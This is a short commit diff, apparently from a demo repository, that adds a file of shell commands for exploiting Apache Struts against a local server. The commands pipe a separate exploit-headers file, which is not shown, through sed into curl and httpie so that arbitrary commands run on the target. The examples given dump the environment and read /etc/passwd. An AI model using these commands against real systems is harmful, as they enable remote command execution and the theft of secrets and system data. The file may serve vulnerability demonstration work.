chore: renamed exploit files, added http version

Author: guypod

exploits/exploit.txt

@@ -0,0 +1,4 @@
+# Struts exploit using curl and httpie (more colourful HTTP client)
+(runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
+cat struts-exploit-headers.txt| sed "s/COMMAND/env/" | xargs curl -v -X GET http://localhost:8080 -H
+cat struts-exploit-headers.txt| sed "s/COMMAND/cat \/etc\/passwd/" | xargs http -v http://localhost:8080